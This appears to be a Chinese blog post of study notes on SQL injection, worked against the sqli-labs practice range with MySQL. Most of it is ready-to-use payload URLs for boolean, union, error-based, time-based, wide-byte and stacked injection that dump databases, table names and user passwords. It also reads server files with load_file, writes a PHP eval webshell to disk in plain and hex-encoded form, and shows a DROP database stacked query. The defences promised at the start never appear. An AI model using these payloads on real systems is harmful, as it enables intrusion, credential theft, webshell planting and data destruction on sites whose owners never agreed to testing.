《Java代码审计》http://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484219&idx=1&sn=73564e316a4c9794019f15dd6b3ba9f6&chksm=c0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene=21#wechat_redirect
《Web安全》http://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484238&idx=1&sn=ca66551c31e37b8d726f151265fc9211&chksm=c0e47a12f793f3049fefde6e9ebe9ec4e2c7626b8594511bd314783719c216bd9929962a71e6&scene=21#wechat_redirect
《网安面试指南》http://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484339&idx=1&sn=356300f169de74e7a778b04bfbbbd0ab&chksm=c0e47aeff793f3f9a5f7abcfa57695e8944e52bca2de2c7a3eb1aecb3c1e6b9cb6abe509d51f&scene=21#wechat_redirect
今天,我将与大家分享我的网络安全中的Web安全
学习笔记什么是Sql注入?
,这里很详细的介绍了Sql注入的各种类型防御的方法。
工具:burp suite
靶场:sqli
服务器:centos7
数据库:mysql5.7
什么是 Sql 注入?
SQL 注入是比较常见的网络攻击方式之一,它不是利用操作系统的 BUG 来实现攻击,而是针对程序员编写时的疏忽,通过 SQL 语句,实现无账号登录,甚至篡改数据库。
由于以下的环境都是 MySQL 数据库,所以先了解点 MySQL 有关的知识。在 MySQL5.0 之后,MySQL 中默认添加了一个名为 information_schema
的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
mysql中注释符:# 、/**/ 、 --
information_schema 中三个很重要的表:
-
• information_schema.schemata:
该数据表存储了 mysql 数据库中的所有数据库的库名
-
• information_schema.tables:
该数据表存储了 mysql 数据库中的所有数据表的表名
-
• information_schema.columns:
该数据表存储了 mysql 数据库中的所有列的列名
Mysql 中常用的函数
-------------------------------------
version():查询数据库的版本
user():查询数据库的使用者
database():数据库
system_user():系统用户名
session_user():连接数据库的用户名
current_user():当前用户名
load_file():读取本地文件
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_complie_os:查看操作系统
-------------------------------------
ascii(str):返回给定字符的ascii值。如果str是空字符串,返回0如果str是NULL,返回NULL。如 ascii("a")=97
length(str) : 返回给定字符串的长度,如 length("string")=6
substr(string,start,length):对于给定字符串string,从start位开始截取,截取length长度 ,如 substr("chinese",3,2)="in"
substr()、stbstring()、mid() :三个函数的用法、功能均一致
concat(username):将查询到的username连在一起,默认用逗号分隔
concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接
group_concat(username) :将username所有数据查询在一起,用逗号连接
limit 0,1:查询第1个数 limit 1,1:查询第2个数
判断 SQL 注入是否存在
-
• 先加单引号
'
、双引号"
、单括号)
、双括号))
等看看是否报错,如果报错就可能存在 SQL 注入漏洞了。 -
• 还有在 URL 后面加
and 1 = 1 、 and 1 = 2
看页面是否显示一样,显示不一样的话,肯定存在 SQL 注入漏洞了。 -
• 还有就是
Timing Attack
测试,也就是时间盲注
。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。 -
• 在 MySQL 中,有一个
Benchmark()
函数,它是用于测试性能的。Benchmark(count,expr)
,这个函数执行的结果,是将表达式expr
执行count
次 。
因此,利用benchmark函数
,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack
,也就是时间盲注
。
易出现 SQL 注入的功能点: 凡是和数据库有交互
的地方都容易出现 SQL 注入,SQL 注入经常出现在登陆页面、涉及获取 HTTP 头(user-agent / client-ip 等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在 HTTP 头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 ip 的,有可能会被存储进数据库中从而与数据库发生交互导致 sql 注入。
Sql 注入的分类
分类依据 | 类型 |
获取信息的方式 | 布尔盲注,时间盲注,报错注入 ,联合查询注入,堆叠注入等 |
提交方式 | GET、POST、COOKIE、HTTP 注入等 |
注入点类型 | 数字类型的注入、字符串类型的注入、搜索型注入等 |
其他注入 | 二次注入、User-Agent 注入、文件读写、宽字节注入 、万能密码 等 |
N 大类型 Sql 注入原理
一、布尔盲注
1. 原理以及手工注入
条件:攻击者无法直接获取到这些信息
Web 的页面的仅仅会返回 True
和 False
。那么布尔盲注就是进行 SQL 注入之后然后根据页面返回的 True 或者是 False 来得到数据库中的相关信息。这里介绍的是通过 ascii 码进行盲注的案例。
盲注一般用到的一些函数:ascii()
、substr()
、length()
,exists()
、concat()
等
http://192.168.1.132:86/Less-5/?id=1
为正确页面,回显如下图:
http://192.168.209.128:88/Less-5/?id=1'
为错误页面,发现注入点,回显如下图:
http://192.168.209.128:88/Less-5/?id=1' and length(database())>5 -- qwe
注:这里 qwe 前需要使用空格
使用 bool 值进行注入比如:and 1=1
1.如何判断数据库类型?
这个例子中出错页面已经告诉了我们此数据库是 MySQL,那么当我们不知道是啥数据库的时候,如何分辨是哪个数据库呢?目前主流的数据库都有自己的特有表分别如下:
数据库 | 表名 |
MySQL | information_schema.tables |
Access | msysobjects |
SQLServer | sysobjects |
通过这些特有表,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库
//判断是否是Mysql数据库
http://192.168.209.128:88/Less-5/?id=1' and exists(select * from information_schema.tables) #//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #'//对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
information_schema.tables
存储了数据表的元数据信息,下面对常用的字段进行介绍:
名称 | 描述 |
table_schema | 记录数据库名 |
table_name | 记录数据表名 |
table_rows | 关于表的粗略行估计 |
data_length | 记录表的大小(单位字节) |
2. 判断当前数据库名(以下方法不适用于 access 和 SQL Server 数据库)
1:判断当前数据库的长度,利用二分法
http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>5 --+ //正常显示
http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>10 --+ //不显示任何数据
http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>7 --+ //正常显示
http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>8 --+ //不显示任何数据
大于 7 正常显示,大于 8 不显示,说明大于 7 而不大于 8,所以可知当前数据库长度为 8
img
img
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断//判断数据库的第一个字符http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100 --+//判断数据库的第二个字符http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
...........
由此可以判断出当前数据库为 security,注意使用ascii码
转换字符的时候需要使用十进制
3. 判断当前数据库中的表(语句后面添加--+)
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) //猜测当前数据库中是否存在 admin 表
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=63:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测 users 表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
4. 判断表中的字段
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) //如果已经证实了存在 admin 表,那么猜测是否存在 username 字段
1:判断表中字段的个数//判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 #2:判断字段的长度//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5//判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>53:判断字段的ascii值//判断第一个字段的第一个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100//判断第一个字段的第二个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100...........
由此可判断出 users 表中存在 id、username、password 字段
5.判断字段中的数据
我们知道了 users 中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
1: 判断数据的长度// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>52:判断数据的ascii值// 判断id字段的第一个数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100// 判断id字段的第一个数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100...........
二、联合查询注入(union 注入)
一、原理及手工注入
三个条件:
-
1. 两个表的
列数相同
,并且相应的列具有相似的数据类型
。 -
2. 查询结果
回显
。 -
3. 存在注入漏洞。
我们可以通过order by
来判断当前表的列数。
http://192.168.209.128:88/Less-1/?id=1' order by 4-- qwq
4 时错误,3 时正确,可得知,当前表有 3 列
通过 union 联合查询
来知道显示的列数。
http://192.168.209.128:88/Less-1/?id=-1' union select 1 ,2 ,3 -- qwq
我们联合查询的就显示出来了。可知,第 2 列和第 3 列是回显列
。那我们就可以在这两个位置插入一些函数了。
-------------------------------------
version():查询数据库的版本
user():查询数据库的使用者
database():数据库
system_user():系统用户名
session_user():连接数据库的用户名
current_user:当前用户名
load_file:读取本地文件
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_complie_os:查看操作系统
-------------------------------------
开始注入脚本
//回显出数据库版本信息、数据库所在路径
http://192.168.209.128:88/Less-1/?id=-1' union select 1,version(),@@datadir -- qwq
//更多自行尝试
。。。。。。
我们还可以通过 union 注入获得更多的信息。
// 获得所有的数据库
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+// 获得所有的表
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables--+// 获得所有的列
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns --+
通过select 1,database(),3...
,得出当前数据库名security
,我们就可以通过下面的语句得到当前数据库的所有的表。
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +
我们知道了当前数据库中存在了四个表,那么我们可以通过下面的语句知道每个表中的列
。
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- +
如下,我们可以知道 users 表中有 id,username,password 三列
使用 group_concat()拼接账号密码还有 id,即可爆出所有数据
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users -- +
三、文件读写
1. union 注入读取文件
注:当有显示列的时候,文件读可以利用 union 注入。当没有显示列的时候,只能利用盲注进行数据读取;
文件写入只能利用 union 注入
示例:读取系统根目录下的/demo.txt 文件
//union注入读取 /demo.txt 文件,windows使用->盘符:/路径http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file("demo.txt") -- +//也可以把 /demo.txt 转换成16进制 这里没成功,可以去找找资料。。。http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file(0x2F64656D6F2E747874) -- +
如果不成功,参考以下解决方案 在 mysql 目录中找到 my.ini/my.cnf 文件在[mysqld]下面添加如下内容 secure_file_priv = ""
如图:
登录 mysql 执行以下命令
mysql>SHOW VARIABLES LIKE "secure_file_priv";+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
这里secure_file_priv
的值要为""或者 "/"
secure_file_priv 有三个值
1、限制 mysqld 不允许导入 | 导出
mysqld –secure_file_prive=null
2、限制 mysqld 的导入 | 导出 只能发生在/tmp/目录下
mysqld –secure_file_priv=/tmp/
3、不对 mysqld 的导入 | 导出做限制
secure_file_priv=''
2. 盲注读取文件
盲注读取的话就是利用hex函数
,将读取的字符串转换成 16 进制,再利用ascii函数
,转换成 ascii 码,再利用二分法
一个一个的判断字符,很复杂,一般结合工具完成
http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1
我们可以利用写入文件的功能,在 e 盘创建 4.php 文件,然后写入一句话木马。
//利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile 'd:/4.php' -- +// 可以将一句话木马转换成16进制的形式
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile 'd:/4.php' -- +
在文件写入读取的时候,遇见以下这种情况。
多半是因为权限不足
,可以使用@@datadir
,得到当前数据库存储目录,试着在数据库存储目录进行文件注入 比如
http://192.168.209.128:88/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile '/www/server/mysql/4.php' --
注入成功
权限不足的解决办法-参考
环境:
CentOS7.0 64 位
MySQL5.7
问题:
#使用'select into outfile'备份数据表提示无法写入文件
mysql> select 1,2,'you are very good hacker' from into outfile '/www/server/mysql/app.txt';
ERROR 1 (HY000): Can't create/write to file '/www/server/mysql/app.txt' (Errcode: 13)
排查:
#查看mysql的进程用户,为mysql用户
[root@lfs ~]# ps aux|grep mysqld
root 1400 0.0 0.1 108208 1612 ? S 01:22 0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --user=mysql
mysql 1778 0.0 6.6 974276 67076 ? Sl 01:22 0:06 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin --user=mysql --log-error=/usr/local/mysql/data/lfs.err --pid-file=/usr/local/mysql/data/lfs.pid --socket=/tmp/mysql.sock --port=3306#查看/www/server/mysql/目录的权限,mysql用户没有写入权限
[root@lfs ~]# ls -ld /www/server/mysql/
drwxr-xr-x 4 root root 4096 Aug 23 17:03 /www/server/mysql/
解决办法:
#将/data/mysql/目录的归属为mysql用户
chown -R mysql.mysql /www/server/mysql/[root@lfs ~]# ls -ld /data/mysql/
drwxr-xr-x 4 mysql mysql 4096 Aug 23 17:03 /www/server/mysql/
验证,写入成功:
四、报错注入
报错注⼊常⽤的函数
-
1. floor()
-
2. extractvalue()
-
3. updatexml()
-
4. geometrycollection()
-
5. multipoint()
-
6. polygon()
-
7. multipolygon()
-
8. linestring()
-
9. .。。。。。
这里介绍一个案例updatexml()
。
updatexml()
MySQL提供了一个 updatexml()
函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
我们尝试在查询用户id的同时,使用报错函数,在地址栏输入:?id=1' and updatexml(1, 0x7e, 3) -- a
参数2内容中的查询结果显示在数据库的报错信息中,并回显到页面。
version()
:返回数据库版本concat()
:拼接特殊符号和查询结果
updatexml()
函数的报错内容长度不能超过32个字符,常用的解决方式有两种:
-
1.
limit
:分页 -
2.
substr()
:截取字符
1.1 limit分页
例如,已知users表中包含username和password两个字段,显示出某个password字段的数据
id=-1' and updatexml(1, concat(0x7e,(
select password from users limit 0,1
)), 3) -- a
使用group_concat(字段名)
显示出最高32位字符长度,password字段的数据
id=-1' and updatexml(1, concat(0x7e,(select group_concat(password) from users limit 0,1
)), 3) -- a
1.2 substr()
获取密码数据案例
http://192.168.209.128:88/Less-1/?id=-1' and updatexml(1, concat(0x7e,substr((select group_concat(password) from users),1,31)
),3) -- qwe
1.3 步骤总结
适用情况:页面有数据库报错信息
1.网站信息必须是动态的,来自数据库的报错信息。
2.网站写死的、自定义的报错信息不算
1>.判断是否报错
参数中添加单/双引号,页面报错才可进行下一步。
?id=1' -- a
2>.判断报错条件
参数中添加报错函数,检查报错信息是否正常回显。
?id=1' and updatexml(1,'~',3) -- a
3>. 脱库
//获取所有数据库
?id=1' and updatexml(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),1,31)
),3) -- qwq //获取所有表
?id=1' and updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema ='security'),1,31)
),3) -- qwq//获取所有字段
?id=1' and updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users'),1,31)
),3) -- qwq
五、时间盲注
Timing Attack注入,也就是时间盲注
。通过简单的条件语句比如 and 1=2 是无法看出异常的。
在MySQL中,有一个Benchmark()
函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。
因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack
,也就是时间盲注。
利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒。
//判断是否存在延时注入
?id=1' and sleep(5) --+
六、宽字节注入
宽字节注入是由于不同编码中中英文所占字符
的的不同所导致的,通常的来说,在GBK编码当中,一个汉字占用2个字节。除了UTF-8以外,所有的ANSI编码中文都是占用俩个字符。
//GBK和其他所有ANSI结果为2
echo strlen("中") //UTF-8
echo strlen("中") //结果为3
我们先说一下php中对于sql注入的过滤,这里就不得不提到几个函数了。
addslashes()
函数,这个函数在预定义字符
之前添加反斜杠 \ 。 这个函数有一个特点虽然会添加反斜杠 \ 进行转义,但是 \ 并不会插入到数据库中。。这个函数的功能和魔术引号
完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用 get_magic_quotes_gpc()
来检测是否已经转义。
mysql_real_escape_string()
函数,这个函数用来转义sql语句中的特殊符号x00
、\n
、\r
、\
、'
、"
、x1a
。
注:
-
1.
预定义字符
:单引 ',双引 ",反斜 \,NULL -
2.
魔术引号
:当打开时,所有单引号 '、双引号 " 、反斜杠 \ 和NULL字符都会被自动加上一个反斜线来进行转义,和addslashes()函数的作用完全相同。所以,如果魔术引号打开,就不要使用addslashes()函数。一共有三个魔术引号指令:-
1. magic_quotes_gpc
-
2. magic_quotes_runtime
-
3. magic_quotes_sybase
-
实操:此次采用sqli的Less-32,
//正常显示
http://192.168.209.128:88/Less-32/?id=1 -- qwq
开始注入:
//添加引号
http://192.168.209.128:88/Less-32/?id=1' -- qwq
//布尔注入
http://192.168.209.128:88/Less-32/?id=1' and 1=2 -- qwq
//union联合注入
http://192.168.209.128:88/Less-32/?id=1' union select 1,version(),database() -- qwq
发现页面回显信息,每次注入都将\进行了转义,这时候就要把 \
去掉,
宽字节注入,这里利用的是MySQL的一个特性。MySQL在使用GBK编码的时候,会认为2
个字符是1
个汉字,前提是前一个字符的ASCII值大于128,才会认为是汉字。所以只要我们输入的数据大于等于 %81
就可以使 ' 逃脱出来了。
开始注入:
http://192.168.1.132:86/Less-32/?id=1 %df
可以发现%df和 ' 组成了一个汉字 把/
号干掉之后就可以用union联合注入查询数据了。
http://192.168.209.128:88/Less-32/?id=-1�' union select 1,2,3 -- qwq
注入成功!
七、堆叠注入
在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 一条语句结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入
。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:root';DROP database user;服务器端生成的sql语句为:select * from user where name='root';DROP database user;
当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除。